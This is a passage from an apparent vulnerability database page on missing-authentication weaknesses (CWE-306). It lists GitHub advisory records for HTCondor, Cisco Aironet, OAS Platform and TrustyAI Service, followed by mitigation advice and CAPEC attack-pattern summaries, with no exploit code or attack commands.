"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-27623"
},
{
"type": "WEB",
"url": "https://www.synology.com/security/advisory/Synology_SA_22_18"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7QRC-8GGR-G3P9
Vulnerability from github – Published: 2022-05-24 17:40 – Updated: 2022-05-24 17:40HTCondor before 8.9.11 allows a user to submit a job as another user on the system, because of a flaw in the IDTOKENS authentication method.
{
"affected": [],
"aliases": [
"CVE-2021-25312"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-27T16:15:00Z",
"severity": "HIGH"
},
"details": "HTCondor before 8.9.11 allows a user to submit a job as another user on the system, because of a flaw in the IDTOKENS authentication method.",
"id": "GHSA-7qrc-8ggr-g3p9",
"modified": "2022-05-24T17:40:28Z",
"published": "2022-05-24T17:40:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25312"
},
{
"type": "WEB",
"url": "https://research.cs.wisc.edu/htcondor/security/vulnerabilities/HTCONDOR-2021-0001.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7R57-XW66-R525
Vulnerability from github – Published: 2022-05-13 01:14 – Updated: 2022-05-13 01:14A vulnerability in the development shell (devshell) authentication for Cisco Aironet Series Access Points (APs) running the Cisco AP-COS operating system could allow an authenticated, local attacker to access the development shell without proper authentication, which allows for root access to the underlying Linux OS. The attacker would need valid device credentials. The vulnerability exists because the software improperly validates user-supplied input at the CLI authentication prompt for development shell access. An attacker could exploit this vulnerability by authenticating to the device and entering crafted input at the CLI. A successful exploit could allow the attacker to access the AP development shell without proper authentication, which allows for root access to the underlying Linux OS. Software versions prior to 8.3.150.0, 8.5.135.0, and 8.8.100.0 are affected.
{
"affected": [],
"aliases": [
"CVE-2019-1654"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-04-17T22:29:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in the development shell (devshell) authentication for Cisco Aironet Series Access Points (APs) running the Cisco AP-COS operating system could allow an authenticated, local attacker to access the development shell without proper authentication, which allows for root access to the underlying Linux OS. The attacker would need valid device credentials. The vulnerability exists because the software improperly validates user-supplied input at the CLI authentication prompt for development shell access. An attacker could exploit this vulnerability by authenticating to the device and entering crafted input at the CLI. A successful exploit could allow the attacker to access the AP development shell without proper authentication, which allows for root access to the underlying Linux OS. Software versions prior to 8.3.150.0, 8.5.135.0, and 8.8.100.0 are affected.",
"id": "GHSA-7r57-xw66-r525",
"modified": "2022-05-13T01:14:33Z",
"published": "2022-05-13T01:14:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1654"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190417-aironet-shell"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/107991"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7RHJ-H438-3GHX
Vulnerability from github – Published: 2022-05-26 00:01 – Updated: 2022-06-04 00:00An information disclosure vulnerability exists in the OAS Engine SecureBrowseFile functionality of Open Automation Software OAS Platform V16.00.0112. A specially-crafted network request can lead to a disclosure of sensitive information. An attacker can send a network request to trigger this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2022-27169"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-05-25T21:15:00Z",
"severity": "HIGH"
},
"details": "An information disclosure vulnerability exists in the OAS Engine SecureBrowseFile functionality of Open Automation Software OAS Platform V16.00.0112. A specially-crafted network request can lead to a disclosure of sensitive information. An attacker can send a network request to trigger this vulnerability.",
"id": "GHSA-7rhj-h438-3ghx",
"modified": "2022-06-04T00:00:58Z",
"published": "2022-05-26T00:01:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-27169"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2022-1494"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7RJM-5CPG-VWPQ
Vulnerability from github – Published: 2026-08-10 21:32 – Updated: 2026-09-21 12:32A flaw was found in the TrustyAI Service (TAS) deployment. This vulnerability allows any pod on the cluster network to bypass authentication and directly access the TAS backend API. An attacker can exploit this to read, tamper with, or delete monitoring data and configurations, and inject arbitrary data into the service, potentially disrupting tenant operations.
{
"affected": [],
"aliases": [
"CVE-2026-15581"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-10T21:17:19Z",
"severity": "HIGH"
},
"details": "A flaw was found in the TrustyAI Service (TAS) deployment. This vulnerability allows any pod on the cluster network to bypass authentication and directly access the TAS backend API. An attacker can exploit this to read, tamper with, or delete monitoring data and configurations, and inject arbitrary data into the service, potentially disrupting tenant operations.",
"id": "GHSA-7rjm-5cpg-vwpq",
"modified": "2026-09-21T12:32:33Z",
"published": "2026-08-10T21:32:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15581"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:53261"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:53262"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:53263"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:60367"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:60520"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:65126"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-15581"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2499637"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
- Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
- In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
- In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].
CAPEC-12: Choosing Message Identifier
This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.
CAPEC-166: Force the System to Reset Values
An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.
CAPEC-216: Communication Channel Manipulation
An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.
CAPEC-36: Using Unpublished Interfaces or Functionality
An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.